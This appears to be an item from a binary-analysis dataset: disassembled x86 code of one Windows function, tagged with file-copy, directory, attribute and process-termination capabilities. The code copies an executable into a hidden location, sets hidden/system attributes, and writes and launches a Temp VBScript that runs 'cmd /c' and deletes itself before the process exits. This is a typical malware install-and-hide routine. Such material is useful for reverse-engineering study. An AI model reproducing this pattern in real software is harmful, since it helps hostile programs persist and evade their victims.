Function at 0x40494d
Capabilities:
Copy file
Create directory
Set file attributes
Terminate process

Disassembly:
mov eax, 0x4222b9
call fcn.00421f24
sub esp, 0xf8
push ebx
push esi
mov esi, edx
mov bl, cl
push edi
push esi
mov byte [ebp - 0x11], bl
call fcn.0040fc60
mov edi, 0x42d7c8
pop ecx
test eax, eax
je 0x4049e1
push esi
mov dl, bl
lea ecx, [ebp - 0x44]
call fcn.0040644b
pop ecx
push eax
mov ecx, edi
call fcn.004026fa
lea ecx, [ebp - 0x44]
call fcn.004026f5
push 0
mov ecx, edi
call fcn.004026b2
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x428b78
mov edx, edi
lea ecx, [ebp - 0x5c]
call fcn.00403176
pop ecx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x44]
and dword [ebp - 4], 0
mov edx, eax
push ebx
call fcn.0040314e
pop ecx
mov edi, 0x42d7b0
push eax
mov ecx, edi
call fcn.004026fa
lea ecx, [ebp - 0x44]
call fcn.004026f5
or dword [ebp - 4], 0xffffffff
jmp 0x4049fe
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x5c]
mov dl, byte [ebp - 0x11]
push ebx
call fcn.0040644b
pop ecx
mov edi, 0x42d7b0
push eax
mov ecx, edi
call fcn.004026fa
lea ecx, [ebp - 0x5c]
call fcn.004026f5
mov ecx, edi
call fcn.004026b2
push eax
push 0x42d580
call fcn.00410b47
pop ecx
pop ecx
test eax, eax
jne 0x404a32
push dword [ebp + 0x1c]
mov dl, byte [ebp + 0x18]
mov cl, byte [ebp + 0x14]
call fcn.00404db1
pop ecx
jmp 0x404da0
mov ecx, edi
call fcn.004026b2
push eax
call dword [0x42d78c]
test eax, eax
je 0x404a57
push 0x80
mov ecx, edi
call fcn.004026b2
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
mov ecx, edi
call fcn.004026b2
push eax
push 0x42d580
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x404b1b
cmp byte [ebp - 0x11], 0x36
je 0x404b1b
push esi
call fcn.0040fc60
mov dl, 0x36
pop ecx
lea ecx, [ebp - 0x74]
test eax, eax
je 0x404adb
push esi
call fcn.0040644b
mov dword [ebp - 4], 1
lea ecx, [ebp - 0x44]
mov edx, eax
mov dword [esp], 0x428b78
call fcn.0040314e
pop ecx
push ebx
mov edx, eax
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x5c]
call fcn.0040314e
pop ecx
push eax
mov ecx, edi
call fcn.004026fa
lea ecx, [ebp - 0x5c]
call fcn.004026f5
lea ecx, [ebp - 0x44]
call fcn.004026f5
or dword [ebp - 4], 0xffffffff
jmp 0x404aea
push ebx
call fcn.0040644b
pop ecx
push eax
mov ecx, edi
call fcn.004026fa
lea ecx, [ebp - 0x74]
call fcn.004026f5
push 0
mov ecx, edi
call fcn.004026b2
push eax
mov ebx, 0x42d580
push ebx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x404b1b
push ebx
mov ecx, edi
call fcn.004026c3
xor al, al
jmp 0x404da2
push dword [ebp + 0x1c]
mov dl, byte [ebp + 0x18]
mov cl, byte [ebp + 0x14]
call fcn.00404db1
cmp byte [ebp + 0xc], 1
pop ecx
jne 0x404b5c
push 7
mov ecx, edi
call fcn.004026b2
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
call ebx
push esi
call fcn.0040fc60
pop ecx
test eax, eax
je 0x404b5c
push 7
mov ecx, 0x42d7c8
call fcn.004026b2
push eax
call ebx
push str.Temp
call fcn.00410b31
pop ecx
push eax
lea ecx, [ebp - 0x74]
call fcn.00402781
push 0x428f2c
mov edx, eax
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x8c]
call fcn.0040314e
pop ecx
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 5
call fcn.004026f5
push str.WScript.Sleep_1000_n
lea ecx, [ebp - 0x2c]
call fcn.00402781
push str.Set_fso__CreateObject__Scripting.FileSystemObject___n
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 6
call fcn.004039e8
cmp byte [ebp + 0x10], 1
jne 0x404c7b
push 0x42d580
lea ecx, [ebp - 0xd4]
call fcn.00402781
mov esi, eax
push 0x428ff4
lea ecx, [ebp - 0xbc]
mov byte [ebp - 4], 7
call fcn.00402781
mov ebx, 0x428ff0
mov byte [ebp - 4], 8
push ebx
mov edx, eax
lea ecx, [ebp - 0xa4]
call fcn.0040314e
pop ecx
push esi
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x44]
call fcn.004032db
pop ecx
push ebx
mov edx, eax
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x5c]
call fcn.0040314e
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x74]
mov edx, eax
mov dword [esp], 0x428fec
call fcn.0040314e
pop ecx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0xc
call fcn.004026be
lea ecx, [ebp - 0x74]
call fcn.004026f5
lea ecx, [ebp - 0x5c]
call fcn.004026f5
lea ecx, [ebp - 0x44]
call fcn.004026f5
lea ecx, [ebp - 0xa4]
call fcn.004026f5
lea ecx, [ebp - 0xbc]
call fcn.004026f5
lea ecx, [ebp - 0xd4]
mov byte [ebp - 4], 6
call fcn.004026f5
push str._____0
lea ecx, [ebp - 0x104]
call fcn.00402781
mov esi, eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xec]
mov byte [ebp - 4], 0xd
call fcn.00402781
push edi
mov edx, eax
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa4]
call fcn.0040334a
pop ecx
push esi
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0xbc]
call fcn.004032db
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xd4]
mov edx, eax
mov dword [esp], 0x428fec
call fcn.0040314e
pop ecx
push eax
lea ecx, [ebp - 0x2c]
mov byte [ebp - 4], 0x11
call fcn.004026be
lea ecx, [ebp - 0xd4]
call fcn.004026f5
lea ecx, [ebp - 0xbc]
call fcn.004026f5
lea ecx, [ebp - 0xa4]
call fcn.004026f5
lea ecx, [ebp - 0xec]
call fcn.004026f5
lea ecx, [ebp - 0x104]
mov byte [ebp - 4], 6
call fcn.004026f5
push str.fso.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x2c]
call fcn.004039e8
xor ebx, ebx
lea ecx, [ebp - 0x8c]
push ebx
call fcn.004026b2
push eax
lea ecx, [ebp - 0x2c]
call fcn.004026a9
mov edx, eax
add edx, edx
call fcn.004026b2
mov ecx, eax
call fcn.004062a8
pop ecx
pop ecx
test al, al
je 0x404d8d
push ebx
mov eax, 0x428bec
lea ecx, [ebp - 0x8c]
push eax
push eax
call fcn.004026b2
push eax
push str.open
push ebx
call dword [0x42d798]
cmp eax, 0x20
jle 0x404d8d
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x2c]
call fcn.004026f5
lea ecx, [ebp - 0x8c]
call fcn.004026f5
mov al, 1
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret